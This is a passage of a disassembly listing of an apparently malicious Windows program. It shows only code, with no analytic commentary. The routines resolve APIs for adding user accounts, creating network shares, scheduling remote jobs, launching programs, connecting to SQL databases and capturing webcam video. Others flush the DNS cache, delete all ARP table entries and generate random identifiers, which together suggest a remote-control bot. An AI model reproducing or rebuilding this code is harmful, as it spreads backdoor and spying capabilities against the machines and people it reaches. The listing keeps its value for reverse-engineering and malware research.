		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAB8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAB4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB910, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB898, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB99C, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB948, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB96C, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB910, ebx
		mov	ecx, dword_4CB96C
		mov	dword_4CBA08, eax
		jz	short loc_40A1C9
		cmp	dword_4CB898, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB99C, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB948, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBABC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4CB984, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAC0, eax
		mov	dword_4CBABC, 1


loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB984, ebx


loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB95C, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB95C, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA8C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAC8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAC4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB918, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB94C, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA64, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB900, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB89C, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB934, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB8C8, ebx
		mov	dword_4CB908, eax
		jz	short loc_40A379
		cmp	dword_4CB8A0, ebx
		jz	short loc_40A379
		cmp	dword_4CB918, ebx
		jz	short loc_40A379
		cmp	dword_4CB94C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA64, ebx
		jz	short loc_40A379
		cmp	dword_4CB900, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB89C, ebx
		jz	short loc_40A379
		cmp	dword_4CB934, ebx
		jz	short loc_40A379
		cmp	dword_4CBA2C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9E4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAD0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBACC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB8F0, ebx
		mov	dword_4CB9CC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAD8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAD4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA50, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA50, ebx
		mov	dword_4CBA4C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAE0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBADC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA7C, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA74, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA7C, ebx
		mov	dword_4CB90C, eax
		jz	short loc_40A481
		cmp	dword_4CBA74, ebx
		jz	short loc_40A481
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAE8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAE4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB940, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB940, ebx
		mov	dword_4CBA48, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAF0, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAEC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA10, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA5C, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB998, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB950, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA10, ebx
		mov	dword_4CB960, eax
		jz	short loc_40A569
		cmp	dword_4CBA5C, ebx
		jz	short loc_40A569
		cmp	dword_4CB998, ebx
		jz	short loc_40A569
		cmp	dword_4CB950, ebx
		jz	short loc_40A569
		cmp	dword_4CB9F0, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAF8, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBAF4, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB924, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB924, ebx
		mov	dword_4CBA04, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBB00, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBAFC, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBA94, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBA98
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBA9C, esi
		jz	short loc_40A641
		push	dword_4CBAA0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAA4, esi
		jz	short loc_40A675
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBAAC, esi
		jz	short loc_40A6A9
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAB4, esi
		jz	short loc_40A6DD
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBABC, esi
		jz	short loc_40A711
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAC4, esi
		jz	short loc_40A745
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBACC, esi
		jz	short loc_40A779
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAD4, esi
		jz	short loc_40A7AD
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBADC, esi
		jz	short loc_40A7E1
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAE4, esi
		jz	short loc_40A815
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAEC, esi
		jz	short loc_40A849
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBAF4, esi
		jz	short loc_40A87D
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBAFC, esi
		jz	short loc_40A8B1
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: .packed:0043320Co
					; .packed:00433250o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6C4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA14	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA58	; gethostbyname
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB8F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx	; DnsFlushResolverCache

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA50	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8B4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA50	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D884


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D854
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA4C	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB04
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: .packed:off_42D920o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D99C[edx*4]
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_429138 ; "-"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB72


loc_40AB4C:				; CODE XREF: .packed:0040AB70j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AB4C


loc_40AB72:				; CODE XREF: .packed:0040AB4Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
